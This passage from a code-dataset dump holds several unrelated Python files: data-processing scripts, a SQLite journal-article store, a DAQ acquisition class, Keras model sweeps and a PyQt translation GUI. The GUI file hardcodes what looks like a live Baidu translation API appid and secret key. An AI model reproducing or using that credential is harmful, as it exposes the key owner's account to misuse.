名前ファイルの読み込み\nfilepaths = glob('./data/names/*')\n\n# 名前と国名のリストを作成\nnames = []\ncountries = []\nfor path in filepaths:\n\t# 国名のファイルごとに\n\twith open(path) as f:\n\t\tcountry = os.path.basename(path).split('.')[0]\n\t\tfor name in f.read().lower().splitlines():\n\t\t\t# 国名と名前を追加していく\n\t\t\tcountries.append(country)\n\t\t\tnames.append(name.replace('\\xa0', ' '))\n\n# 名前に使われている文字のリストを生成する\nlist_of_chars = ['^', '$'] + list({char for name in names for char in name})\nchar_ids = {char:i for i, char in enumerate(list_of_chars)}\n\n# 国のリストとidを生成\nlist_of_countries = list(set(countries))\ncountry_ids = {country:i for i, country in enumerate(list_of_countries)}\n\n# dataset\ndataset = list(zip(\n\t\t[[char_ids[char] for char in '^'+name+'$'] for name in names],\n\t\t[country_ids[country] for country in countries]))\n\nwith open('dataset.pickle', mode='wb') as f:\n\tpickle.dump((list_of_chars, char_ids, list_of_countries, country_ids, dataset), f)\n\n","sub_path":"dataset-gen.py","file_name":"dataset-gen.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"40960717","text":"import iemdb\nimport numpy\nCOOP = iemdb.connect('coop', bypass=True)\nccursor = COOP.cursor()\n\ndata = []\ndays = []\n\ncounts = numpy.zeros( (10,), 'f')\nallhits = numpy.zeros( (10,), 'f')\ngreaterhits = numpy.zeros( (10,), 'f')\n\nccursor.execute(\"\"\"SELECT day, case when snow > 8 then 8 else snow end \n from alldata_ia where\n station = 'IA2203' and day > '1893-01-01' ORDER by day ASC\"\"\")\n\nfor row in ccursor:\n snow = row[1]\n if row[1] < 0.1:\n snow = 0.\n data.append( snow )\n days.append( row[0] )\n \ndef getidx(val):\n if val == 0:\n return 0\n if val < 1:\n return 1\n return int(val) + 1\n \n# 0,1,2,3,4,5,6,7\n# x x x x\nfor i in range(len(data)-5):\n if days[i].month not in (11,12,1,2,3):\n continue\n idx = getidx(data[i])\n counts[ idx ] += 1.0\n if max( data[i+2:i+6] ) > data[i]:\n greaterhits[ idx ] += 1.0\n if max( data[i+2:i+6] ) > 0:\n allhits[ idx ] += 1.0\n \nimport matplotlib.pyplot as plt\n\n(fig, ax) = plt.subplots(1,1)\n\nax.bar(numpy.arange(-1,9)-0.4, allhits / counts * 100.,\n label='Any Snow Event')\nax.bar(numpy.arange(-1,9)-0.2, greaterhits / counts * 100., width=0.4, fc='r', zorder=2,\n label='Event Greater')\nax.set_xticks( numpy.arange(-1,9))\nax.set_xticklabels((\"No\\nSnow\", '< 1\"', \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8+\"))\nax.set_xlim(-1.5,8.5)\nax.set_title(\"1893-2012 Des Moines Day 2 thru 5 Snowfall Frequency\")\nax.set_xlabel(\"Daily Snowfall Event (1 November thru 1 April)\")\nax.set_ylabel(\"Frequency [%]\")\nax.legend()\nax.grid(True)\n\nfig.savefig('test.ps')\nimport iemplot\niemplot.makefeature('test')","sub_path":"scripts/feature/snow_freq.py","file_name":"snow_freq.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"414740324","text":"import numpy as np\nimport cv2\n#\nfrom Queue import Queue\n\npositions = [(-1,-1), (0,-1), (1,-1), (-1,0), (1,0), (-1,1), (0,1), (1,1)]\n\ndef showImage(label, pos):\n\timg = np.zeros(label.shape, np.uint8)\n\n\tfor y in range (0, img.shape[0]):\n\t\tfor x in range(0, img.shape[1]):\n\t\t\tif label[y][x] == pos:\n\t\t\t\timg[y][x] = 1\n\n\tfor y in xrange(0,img.shape[0]):\n\t\tfor x in xrange(0,img.shape[1]):\n\t\t\t\timg[y][x] *= 255\n\n\tcv2.imshow(str(pos), img)\n\t\n\tcv2.waitKey(0)\n\ndef findNext(label):\n\tfor y in range(0,label.shape[0]):\n\t\tfor x in range(0,label.shape[1]):\n\t\t\tif(label[y][x] == 0):\n\t\t\t\treturn x, y\n\n\treturn -1, -1\n\ndef colorirBFS(image, label, color, x, y, paint):\n\tfila = Queue()\n\tfila.put([x, y])\n\n\twhile ( not fila.isEmpty() ):\n\t\titem = fila.pop()\n\t\tx = item[0]\n\t\ty = item[1]\n\n\t\tfor k in range(0, 8):\n\t\t\ti, j = positions[k]\n\t\t\tif (image[y + j][x + i] == color and label[y + j][x + i] == 0):\n\t\t\t\tfila.put([x + i, y + j])\n\t\t\t\tlabel[y+j][x+i] = paint\n\n\treturn label\n\n\ndef main():\n\tresp = Queue()\n\n\timg = cv2.imread('componentes.png', 0)\n\timg = cv2.copyMakeBorder(img, 1,1,1,1, cv2.BORDER_CONSTANT, -1)\n\tlabel= np.zeros(img.shape, np.uint8)\n\n\tx, y = findNext(label)\n\tpaint = 0\n\n\twhile(x != -1):\n\t\tpaint += 1\n\t\tcolor = img[y][x]\n\t\tlabel = colorirBFS(img, label, color, x, y, paint)\n\t\tresp.put(label)\n\n\t\tx, y = findNext(label)\n\n\tprint( str(paint) + ' componentes!' )\n\n\tposition = 1\n\twhile( not resp.isEmpty() ):\n\t\tshowImage(resp.pop(), position)\n\t\tposition += 1\n\n\nif __name__== \"__main__\": main()\n","sub_path":"PIM/04-Masks/exercicio3/exercicio3.py","file_name":"exercicio3.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"522745297","text":"import sys\nimport os\nimport hashlib\nimport shutil\n\nfname = input(\"Enter file name: \")\ndef md5(fname):\n hash_md5 = hashlib.md5()\n with open(fname, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash_md5.update(chunk)\n return hash_md5.hexdigest()\n\n\ndef init():\n os.system('mkdir all_versions')\n initial_hash = md5(fname)\n print(initial_hash)\n f = open(\"log.txt\", \"a+\")\n f.write(initial_hash + \" - Initial Hash\")\n f.write(\"\\n\")\n f.close()\n\n\ndef status():\n file_hash = md5(fname)\n with open('log.txt', 'r') as f:\n lines = f.read().splitlines()\n last_line = lines[-1]\n\n if last_line[:32] == file_hash :\n print(\"All Files are up-to-date. No Changes made\")\n else:\n print(\"Following file have been modified: \")\n print(fname)\n\n\ndef log():\n os.system('cat log.txt')\n\n\ndef commit():\n file_hash = md5(fname)\n with open('log.txt', 'r') as f:\n lines = f.read().splitlines()\n last_line = lines[-1]\n print(last_line[:32])\n\n if last_line[:32] == file_hash :\n print(\"No Changes made to the File\")\n else:\n comment = input(\"Enter new Commit Message: \")\n f = open(\"log.txt\", \"a+\")\n f.write(file_hash + ' - ' + comment)\n f.write(\"\\n\")\n f.close()\n\n\ndef push():\n shutil.copy(fname, 'all_versions/')\n file_hash = md5(fname)\n os.rename('all_versions/a.c', 'all_versions/%s' % file_hash)\n\n\ndef get():\n file_hash = input(\"Enter the Hash of file version to be retrieved: \")\n shutil.copy('all_versions/%s' % file_hash, './')\n\n\nif sys.argv[1] == \"init\":\n init()\n\nif sys.argv[1] == \"status\":\n status()\n\nif sys.argv[1] == \"log\":\n log()\n\nif sys.argv[1] == \"commit\":\n commit()\n\nif sys.argv[1] == \"push\":\n push()\n\nif sys.argv[1] == \"get\":\n get()\n","sub_path":"git.py","file_name":"git.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"310063731","text":"from journal_lxml.cell_press import Cell, CancerCell, Immunity\r\nfrom journal_lxml.pnas import Pnas\r\nfrom journal_lxml.aaas import Science, ScienceSignaling, ScienceImmunology, ScienceSignaling, ScienceTranslationalMedicine\r\nfrom journal_re.nature_group import *\r\nfrom journal_re.rockefeller_university_press import JournalOfExperimentalMedicine\r\nfrom journal_re.journal_of_immunology import JournalOfImmunology\r\n\r\nimport sqlite3 as sql\r\nimport article.article as article_module\r\nimport os\r\n\r\ndef __get_yyyymm_from_date(date):\r\n #date format is yyyy-mm-dd\r\n return(date[:4]+date[5:7])\r\n\r\ndef __get_yyyymm_list(date_list):\r\n yyyymm_list = []\r\n \r\n for date in date_list:\r\n yyyymm = __get_yyyymm_from_date(date)\r\n\r\n if len(yyyymm_list) == 0:\r\n yyyymm_list.append(yyyymm)\r\n else:\r\n isNew = True\r\n\r\n for ym in yyyymm_list:\r\n if yyyymm == ym:\r\n isNew = False\r\n break\r\n \r\n if isNew:\r\n yyyymm_list.append(yyyymm)\r\n \r\n return yyyymm_list\r\n\r\ndef __previous_yyyymm(date):\r\n yy = int( date[:4])\r\n mm = int( date[5:7])\r\n\r\n if mm - 1 == 0:\r\n yy = yy - 1\r\n mm = 12\r\n else:\r\n mm -= 1\r\n\r\n yy = str(yy)\r\n mm = str(mm)\r\n\r\n if len(mm) == 1:\r\n mm = '0' + mm\r\n\r\ndef create_connection(db_path):\r\n connection = sql.connect(db_path)\r\n return connection\r\n\r\ndef close_connection_with_commit(connection):\r\n if connection is not None:\r\n connection.commit()\r\n connection.close()\r\n\r\ndef close_connection_without_commit(connection):\r\n if connection is not None:\r\n connection.close()\r\n\r\ndef write_article_info_into_database(connection, article_list, registeration_date):\r\n # database schema is (title UNIQUE, urls UNIQUE, article_type TEXT, date TEXT, authors TEXT, rdate TEXT)\r\n # dupulication is detected by database integrity error due to UNIQUE item. \r\n\r\n # yyyymm like 201903 is used as a table name.\r\n date_list = [a.date for a in article_list]\r\n yyyymm_list = __get_yyyymm_list(date_list)\r\n\r\n # if len(yyyymm_list) > 20:\r\n # # large viriaty of yyyymm list indicates wrong list reference.\r\n # #TODO 独自の例外処理\r\n # raise Exception\r\n\r\n c = connection.cursor()\r\n\r\n for yyyymm in yyyymm_list:\r\n c.execute('CREATE TABLE IF NOT EXISTS T_{} (title UNIQUE, url UNIQUE, article_type TEXT, date TEXT, authors TEXT, rdate TEXT)'.format(yyyymm))\r\n\r\n # boolean list for choice articles to be mailed.\r\n is_new_contents = []\r\n\r\n for i in range(len(article_list)):\r\n \r\n # get table_name for entry of the article\r\n yyyymm = __get_yyyymm_from_date(article_list[i].date)\r\n\r\n try:\r\n c.execute('INSERT INTO T_{} (title, url, article_type, date, authors, rdate) VALUES (?,?,?,?,?,?)'.format(yyyymm), \\\r\n ( article_list[i].title_e, article_list[i].url, article_list[i].kind, article_list[i].date, article_list[i].authors, registeration_date ))\r\n\r\n # No exception meands that this article is new one.\r\n is_new_contents.append(True)\r\n\r\n except sql.IntegrityError as err:\r\n if 'UNIQUE' in err.args[0]:\r\n\r\n # if IntegrityError occurs, this article has already been registered.\r\n is_new_contents.append(False)\r\n\r\n else:\r\n raise Exception\r\n\r\n # Do not save the changes until e-mail is sended successfully\r\n #connection.commit()\r\n #connection.close()\r\n\r\n return is_new_contents\r\n\r\n\r\n# =======================for debug or test =============================\r\n\r\ndef __test_write_article_info_into_database():\r\n # article_item_list contains [titles, urls, article_types, dates, authors]\r\n db_path = 'database/sqlite_test.sqlite'\r\n dummy_date = '2020-5-15'\r\n\r\n article_list = article_module.create_dummy_article_list(5)\r\n\r\n write_article_info_into_database(db_path, article_list, dummy_date)\r\n\r\ndef __show_records_by_rdate(con, table_name, rdate):\r\n cur = con.cursor()\r\n try:\r\n for rec in cur.execute(\"select * from {} where rdate == {}\".format(table_name, rdate)):\r\n print(rec)\r\n except Exception:\r\n print(\"Error in __show_records_by_rdate\")\r\n finally:\r\n cur.close()\r\n\r\ndef __delete_records_by_rdate(con, table_name, rdate):\r\n cur = con.cursor()\r\n try:\r\n cur.execute(\"delete from {} where rdate == {}\".format(table_name, rdate))\r\n cur.close()\r\n con.commit()\r\n except Exception:\r\n print(\"__delete_records_by_rdate\")\r\n cur.close()\r\n\r\ndef __show_records_in_the_table(con, table_name):\r\n cur = con.cursor()\r\n for rec in cur.execute(\"select * from {}\".format(table_name)):\r\n print(rec)\r\n cur.close()\r\n\r\ndef __show_records_in_the_sqlite_master(con):\r\n cur = con.cursor()\r\n for c in cur.execute(\"select * from sqlite_master\"):\r\n print(c)\r\n cur.close()\r\n\r\ndef __show_records_at_the_date(con, date):\r\n #yyyy-mm-dd is required as data fromat.\r\n date_list = date.split('-')\r\n \r\n # check date format\r\n if len(date_list) != 3:\r\n print('invalid date fromat')\r\n return\r\n \r\n is_invalid = False\r\n for num in date_list:\r\n if num.isdecimal() == False:\r\n print('{} is not decimal'.format(num))\r\n is_invalid = True\r\n \r\n if is_invalid:\r\n return\r\n\r\n cur = con.cursor()\r\n tuple_date = (date,)\r\n yyyymm = date_list[0] + date_list[1]\r\n for rec in cur.execute('select * from T_{yyyymm} where date = ?'.format(yyyymm = yyyymm), tuple_date):\r\n print(rec)\r\n \r\n cur.close()\r\n \r\n print(date_list)\r\n\r\ndef __rename_table_name(con, old_name, new_name):\r\n \r\n __show_records_in_the_sqlite_master(con)\r\n\r\n cur = con.cursor()\r\n order = 'alter table {old} rename to {new}'.format(old = old_name, new = new_name)\r\n cur.execute(order)\r\n cur.close()\r\n\r\n print(\"\")\r\n __show_records_in_the_sqlite_master(con)\r\n\r\ndef __add_new_column_to_all_table(con, col_name, dtype):\r\n\r\n __show_records_in_the_sqlite_master(con)\r\n\r\n t_name_list = __get_all_table_name(con)\r\n\r\n cur = con.cursor()\r\n\r\n for table_name in t_name_list:\r\n order = 'alter table {} add column {} {}'.format(table_name, col_name, dtype)\r\n cur.execute(order)\r\n \r\n cur.close()\r\n\r\n print(\"\")\r\n __show_records_in_the_sqlite_master(con)\r\n\r\n#==================batch operation=====================\r\n\r\ndef __add_new_column_to_all_table_in_all_sqlite_file(dir_path, col_name, dtype):\r\n sqlite_file_name_list = __get_all_sqlite_file_name(dir_path)\r\n\r\n for file_name in sqlite_file_name_list:\r\n con = sql.connect(dir_path+'/'+file_name)\r\n \r\n try:\r\n __add_new_column_to_all_table(con, col_name, dtype)\r\n finally:\r\n con.close()\r\n\r\ndef delete_records_by_rdate_in_all_sqlite_file(rdate, table_name='', dir_path='database'):\r\n do_in_all_table = False\r\n if table_name == '':\r\n do_in_all_table = True\r\n\r\n sqlite_file_name_list = __get_all_sqlite_file_name(dir_path)\r\n\r\n for file_name in sqlite_file_name_list:\r\n con = sql.connect(dir_path+'/'+file_name)\r\n\r\n t_name_list = __get_all_table_name(con)\r\n\r\n try:\r\n if do_in_all_table:\r\n for t_name in t_name_list:\r\n __delete_records_by_rdate(con, t_name, rdate)\r\n \r\n else:\r\n if table_name in t_name_list:\r\n __delete_records_by_rdate(con, table_name, rdate)\r\n finally:\r\n con.close()\r\n\r\n#=================basic operation======================\r\n\r\ndef __get_all_table_name(con):\r\n cur = con.cursor()\r\n cur.execute(\"select * from sqlite_master where type='table'\")\r\n fetch_list = cur.fetchall()\r\n cur.close()\r\n t_name_list = []\r\n\r\n for i in range(len(fetch_list)):\r\n t_name_list.append(fetch_list[i][1])\r\n\r\n return t_name_list\r\n\r\n#=================directory operation=================\r\n\r\ndef __get_all_file_name(path):\r\n \r\n files = os.listdir(path)\r\n files = [f for f in files if os.path.isfile(os.path.join(path, f))]\r\n\r\n return files\r\n\r\ndef __get_all_sqlite_file_name(path):\r\n\r\n files = os.listdir(path)\r\n files = [f for f in files if os.path.isfile(os.path.join(path,f))]\r\n files = [f for f in files if os.path.splitext(f)[-1] == '.sqlite']\r\n\r\n return files\r\n\r\ndef __temp():\r\n db_path = 'database/Nature.sqlite'\r\n con = sql.connect(db_path)\r\n\r\n __get_all_file_name('database')\r\n \r\n try:\r\n __show_records_in_the_table(con, 'T_202011')\r\n #__delete_records_by_rdate(con, \"T_202005\", \"'2020-05-15'\")\r\n #__show_records_in_the_table(con, 'T_202005')\r\n #__show_records_by_rdate(con, \"T_202005\", \"'2020-05-15'\")\r\n #__show_records_in_the_sqlite_master(con)\r\n #__show_records_at_the_date(con,'2020-03-13')\r\n #__rename_table_name(con, 'T_', 'T_202003')\r\n #__get_all_table_name(con)\r\n #__add_new_column_to_all_table(con, 'rdate', 'TEXT')\r\n finally:\r\n con.close()\r\n\r\ndef __temp2():\r\n delete_records_by_rdate_in_all_sqlite_file(\"'2021-03-05'\")\r\n\r\ndef __batch_process():\r\n journal_list = [ScientificReports()]\r\n\r\n for j in journal_list:\r\n \r\n db_path = j.sql_database_path\r\n con = sql.connect(db_path)\r\n\r\n print(db_path)\r\n #__get_all_file_name('database')\r\n \r\n try:\r\n #__show_records_in_the_table(con, 'T_202011')\r\n #__delete_records_by_rdate(con, \"T_202011\", \"'2020-11-13'\")\r\n #__show_records_in_the_table(con, 'T_202005')\r\n #__show_records_by_rdate(con, \"T_202011\", \"'2020-11-13'\")\r\n #__show_records_in_the_sqlite_master(con)\r\n #__show_records_at_the_date(con,'2020-03-13')\r\n #__rename_table_name(con, 'T_', 'T_202003')\r\n #__get_all_table_name(con)\r\n #__add_new_column_to_all_table(con, 'rdate', 'TEXT')\r\n __temp2()\r\n finally:\r\n con.close()\r\n\r\nif __name__ == '__main__':\r\n #__test_write_article_info_into_database()\r\n __batch_process()","sub_path":"src/my_sqlite.py","file_name":"my_sqlite.py","file_ext":"py","file_size_in_byte":10236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"597581218","text":"from __future__ import print_function\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom time import sleep\n\nfrom simulated import DigitalSimulatedTask, AnalogSimulatedTask\nfrom callback import CallbackTask\n\ntry:\n from continuous import DigitalContinuousTask, AnalogContinuousTask\nexcept Exception as e:\n from simulated import DigitalSimulatedTask as DigitalContinuousTask\n from simulated import AnalogSimulatedTask as AnalogContinuousTask\n\n\nclass AcquisitionTask():\n \"\"\"\n\n \"\"\"\n ACQ_TYPE = {\n 'test': 2,\n 'calibration': 3,\n 'statistic': 1\n }\n\n analog_task = None\n digital_task = None\n\n device = None\n\n def __init__(\n self, device={}, acquisition_mode='',\n samples_per_channel=1, callback=()\n ):\n \"\"\"\n\n @return:\n\n \"\"\"\n self.device = device\n\n if acquisition_mode == 'callback':\n self.analog_task = CallbackTask(\n physical_channels=device['analog'],\n digital_physical_channels=device['digital'],\n rate=device['rate'],\n minv=device['minv'],\n maxv=device['maxv'],\n samples_per_channel=samples_per_channel\n )\n self.analog_task.bind(callback)\n else:\n if acquisition_mode == 'continuous':\n DIGITAL_TASK = DigitalContinuousTask\n ANALOG_TASK = AnalogContinuousTask\n elif acquisition_mode == 'simulated':\n DIGITAL_TASK = DigitalSimulatedTask\n ANALOG_TASK = AnalogSimulatedTask\n else:\n raise Exception('Invalid Acquisition Mode.')\n\n self.digital_task = DIGITAL_TASK(\n physical_channels=device['digital'],\n rate=device['rate'],\n samples_per_channel=samples_per_channel\n )\n\n self.analog_task = ANALOG_TASK(\n physical_channels=device['analog'],\n rate=device['rate'],\n minv=device['minv'],\n maxv=device['maxv'],\n seconds_to_acquire=device['seconds_to_acquire'],\n samples_per_channel=samples_per_channel\n )\n\n def read(self):\n signals = self.read_analog()\n signals.update(self.read_digital())\n return signals\n\n def read_analog(self):\n data = self.analog_task.read()\n\n sensors = defaultdict(dict)\n for chan_i, chan_data in data.items():\n for i, sensor_voltage in enumerate(chan_data):\n # changed to return use the same baseline\n if not sensors[chan_i]:\n sensors[chan_i] = []\n sensors[chan_i] += [sensor_voltage]\n return sensors\n\n def read_digital(self):\n if not self.digital_task.physical_channels:\n return {}\n\n data = self.digital_task.read()\n\n sensors = defaultdict(dict)\n for chan_i, chan_data in data.items():\n for i, sensor_voltage in enumerate(chan_data):\n # changed to return use the same baseline\n if not sensors[chan_i]:\n sensors[chan_i] = []\n sensors[chan_i] += [sensor_voltage]\n return sensors\n\n def run(self):\n self.analog_task.run()\n\n def close(self):\n \"\"\"\n\n @return:\n\n \"\"\"\n try:\n self.analog_task.close()\n self.digital_task.close()\n except:\n pass\n","sub_path":"labtrans/devices/daq/ni/acquisition.py","file_name":"acquisition.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"55993688","text":"import pyexcel as pe\n\n#企查查文件\nqxxfile = 'F:\\\\sh0519.xls'\n#定义企查查文件抽取记录日期\nqxx_date = '2017-05-10'\n#启信宝文件\nqxbfile = 'F:\\\\sh0510.xlsx'\n\n#提取qxx指定日期的数据\nsh = pe.get_sheet(file_name=qxxfile,start_row=1)\ntemp = []\nfor record in sh:\n if record[2] == qxx_date:\n temp.append(record[0])\n\n#处理qxb数据\ndata = pe.get_sheet(file_name=qxbfile)\nto_be_deleted = []\nfor i,record in enumerate(data.rows()):\n if (data.row[i][0] == '' or data.row[i][0] == '企业类型' or data.row[i][0] == '企业名称'):\n to_be_deleted.append(i)\ndata.delete_rows(to_be_deleted)\ndata.delete_columns([x for x in range(1, data.number_of_columns())])\ndata.column+=temp\ndata.save_as(filename=qxbfile)\n\nqxb=[]\nqxx=[]\n\n#生成结果\ndata = pe.get_sheet(file_name=qxbfile)\nrow = data.number_of_rows()\nfor records in data:\n qxb.append(records[0])\n qxx.append(records[1])\nqxxonly = [item for item in qxx if item not in qxb]\nqxbonly = [item for item in qxb if item not in qxx]\nboth= [item for item in qxx if item in qxb]\ndata.column += qxbonly\ndata.column += qxxonly\ndata.column += both\ndata.row = data.row + ['启信宝','企查查','启信宝独有','企查查独有','共有']\ndata.save_as(filename=qxbfile)\n\n#表头顺序调整\ndata=pe.get_sheet(file_name=qxbfile)\nindex=data.number_of_rows()\nfor i in range(index-1,0,-1):\n data.row[i],data.row[i-1] = data.row[i-1],data.row[i]\ndata.save_as(filename=qxbfile)","sub_path":"Basics/compareRPT.py","file_name":"compareRPT.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"1658671","text":"import os\nfrom generators import *\nfrom helpers import *\nfrom models import *\n\ndef run_model(model, model_name, augment, results_dir, run_now = True, run_type = 'test'):\n '''\n takes in...\n runs our model\n '''\n save_dir = results_dir + model_name + '/'\n print('Results directory: %s'%save_dir)\n ensure_directory(save_dir)\n \n print('Running model: %s'%model_name)\n print('\\tDefining generators...')\n\n # load our generators \n train_generator = get_train_data_generator(augment = augment)\n val_generator = get_val_data_generator()\n \n print('\\tFitting model...')\n \n steps_dict = {'test': (1,1),\n 'full': (121,20),\n 'track_iters':(1,121)}\n \n steps_per_epoch, epochs = steps_dict[run_type]\n\n # run our model\n if run_now:\n # define our callbacks\n callbacks = get_callbacks(model_name, save_dir)\n \n model.fit_generator(train_generator,\n validation_data=val_generator, \n validation_steps = 1, \n steps_per_epoch = steps_per_epoch, \n epochs = epochs,\n callbacks=callbacks)\n print('\\tSaving model...') \n model.save(save_dir + model_name + '_end.h5')\n return 'Ran!'\n return 'Dry!'\n\ndef prepare_model_name(model_name, augment):\n '''\n one off... \n '''\n # if augmented\n if augment:\n model_name = model_name + '_aug' \n return model_name\n\ndef choose_model(model_type, params):\n '''\n takes in model_type and the parameters as a dict\n returns model and its defined name \n '''\n model_dict = {'log':get_log_model,\n 'fcc':get_fcc_model,\n 'cnn':get_cnn_model,\n 'vgg':get_vgg_model,\n 'fcc_sgd':get_fcc_sgd_model,\n 'log_sgd':get_log_sgd_model}\n return model_dict[model_type](**params)\n\ndef prepare_models_list():\n '''\n takes in nothing\n returns list of models that we want to sweep across\n '''\n \n models_list = []\n models_list.append(['log', {}, {'augment': 0}])\n models_list.append(['fcc', {}, {'augment': 0}])\n \n # cnn models\n params = [(ilay, idrop, ilr) for ilay in [1,2,4] for idrop in [0, 3, 6] for ilr in [0, 3, 6]]\n for (ilay, idrop, ilr) in params:\n models_list.append(['cnn',{'num_layers':ilay, 'dropout':idrop,'learning_rate':ilr}, {'augment':0}])\n # layers: 1, 2, 4\n # dropout: 1e-x: 0, 3, 6\n # rate: 0, 0.3, 0.6\n \n # vgg\n for trainable in [1, 0]:\n models_list.append(['vgg', {'trainable':trainable}, {'augment':1}])\n \n # sgd versions of log and fcc\n models_list.append(['log_sgd', {}, {'augment': 0}])\n models_list.append(['fcc_sgd', {}, {'augment': 0}])\n return models_list\n\ndef single_iter(run_row, run_now = False, run_type = 'test', results_dir = '/home/jupyter/models/'):\n model_type, model_params, run_params = run_row\n model, model_name = choose_model(model_type, model_params)\n model_name = prepare_model_name(model_name, **run_params)\n _ = run_model(model = model, model_name = model_name, **run_params, run_now = run_now, results_dir = results_dir, run_type = run_type)\n reset_keras()","sub_path":"running.py","file_name":"running.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"89445424","text":"import math\nfrom pprint import pprint\n\nclass Solution:\n # @param x, an integer\n # @return an integer\n def sqrt(self, x):\n if x == 0: return x\n lower_bound, upper_bound = 1, x\n while True:\n if upper_bound - lower_bound <= 1: return lower_bound\n mid = (lower_bound + upper_bound) / 2\n if mid*mid < x:\n lower_bound = mid\n elif mid*mid > x:\n upper_bound = mid\n else:\n return mid\n\nif __name__ == '__main__':\n solution = Solution()\n x = input('Please input an integer: ')\n ans = solution.sqrt(x)\n pprint('Answer: %d' % ans)\n pprint('Standard answer: %d' % int(math.sqrt(float(x))))","sub_path":"sqrtx.py","file_name":"sqrtx.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"437498901","text":"import re\n\ndef read_file(filepath):\n with open(filepath,'r') as f:\n return f.read()\n\ndef write_item(filepath,item):\n with open(filepath, 'a') as f:\n f.write('>{}\\n'.format(item[0]))\n f.write('{}\\n'.format(item[1]))\n\n\ndef parse(H_path,L_path):\n h_content=read_file(H_path)+'\\n'\n l_content=read_file(L_path)+'\\n'\n hs=re.findall(\">(H\\d+)\\n(.*?)[\\n]\",h_content)\n ls=re.findall(\">(L\\d+)\\n(.*?)\\n\",l_content)\n print(len(hs), len(ls))\n\n for h in hs:\n print(h)\n for l in ls:\n print(l)\n item=[h[0]+l[0],h[1]+l[1]]\n write_item(filepath='output.txt',item=item)\n\n\n\n\nparse(H_path='H.fasta',L_path='L.fasta')","sub_path":"job-json,xml,csv/思源/6/合并.py","file_name":"合并.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"487723281","text":"from new_google import Ui_MainWindow\nfrom googletrans import Translator\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QFileDialog, QInputDialog, QMessageBox, QProgressDialog, QProgressBar, QLineEdit, \\\n QListWidget, QListWidgetItem, QCheckBox\nfrom new_google import ComboCheckBox\nimport sys\nimport re\nimport time\nimport csv\nimport os\nimport random\nimport http.client\nimport json\nimport urllib\nimport hashlib\n\n_translate = QtCore.QCoreApplication.translate\nappid = '20200803000532159'\nsecretKey = 'zeBDUeIDBi5p_p0Z68zW'\nhttpClient = None\nlang_dict = {'bul': 'bg', 'zh': 'zh-CN', 'est': 'et', 'swe': 'sv', 'jp': 'ja', 'spa': 'es'}\n\n\nclass Mywindow(QtWidgets.QMainWindow, Ui_MainWindow):\n def __init__(self):\n super(Mywindow, self).__init__()\n self.setupUi(self)\n self.lang_list = []\n self.synthetise.clicked.connect(self.DataSyn)\n self.choicesrt_button.clicked.connect(self.Choice_srt)\n self.choiceaudio_button_.clicked.connect(self.Choice_audio)\n self.Preset_show()\n # self._translate = QtCore.QCoreApplication.translate\n\n self.choice_trans.currentIndexChanged.connect(self.LangList_change)\n for i in range(1, self.comboBox.row_num):\n self.comboBox.qCheckBox[i].stateChanged.connect(self.Main_lang)\n self.choice_preset.currentIndexChanged.connect(self.Lang_set)\n\n self.save_preset.clicked.connect(self.Save_preset)\n self.data = ['', 'no', 'en', '', '', '', '', '', '']\n # self.srt_file_name = ''\n # self.lang_temp = ''\n self.filepath = ''\n # self.check_status = 'no'\n self.line_index = 0\n self.line_count = 0\n self.progressDialog = QProgressDialog(self)\n self.progressDialog.reset()\n self.trans = Translator(service_urls=['translate.google.cn'])\n self.main_lang = ''\n self.lang_select = ''\n self.preset_num = 0\n self.trans_method = 'Google'\n\n #################--slog--#########################\n\n def Lang_set(self):\n preset_index = self.choice_preset.currentIndex()\n preset_content = self.choice_preset.itemText(preset_index)\n if preset_content != \"请选择预设\":\n self.comboBox.clear()\n with open('preset.csv', 'r', encoding='utf-8') as f:\n reader = csv.reader(f)\n for row in reader:\n if row == []: break\n if row[0] == preset_content:\n self.main_lang = row[1]\n self.lang_list = row[2:]\n for i in range(1, self.comboBox.row_num):\n for j in self.lang_list:\n if self.comboBox.qCheckBox[i].text() == j:\n self.comboBox.qCheckBox[i].setCheckState(1)\n\n def Save_preset(self):\n self.lang_select = self.comboBox.Selectlist()\n self.main_lang = self.mainornot.itemText(self.mainornot.currentIndex())\n value, ok = QInputDialog.getText(self, \"预设\", '请输入此预设的标题', QLineEdit.Normal)\n save_list = [value, self.main_lang]\n save_list += self.lang_select\n file_name = 'preset.csv'\n if os.path.exists(file_name) is False:\n with open(file_name, 'w', encoding='utf-8', newline='') as f:\n writer = csv.writer(f)\n writer.writerow(save_list)\n else:\n with open(file_name, 'r', encoding='utf-8') as old_file:\n lines = old_file.readlines()\n if len(lines) > 1:\n lines.remove('\\n')\n with open(file_name, 'w', encoding='utf-8') as new_file:\n for line in lines:\n # print('line:', line)\n # if line != '':\n if line[0:line.find(',')] != value:\n new_file.write(line)\n writer = csv.writer(new_file)\n writer.writerow(save_list)\n # with open(file_name, 'r', encoding='utf-8') as this_file:\n # thislines = this_file.readlines()\n # for line in thislines:\n # print('this line is:', line)\n # print('lines num is:', len(thislines))\n self.Preset_show()\n # 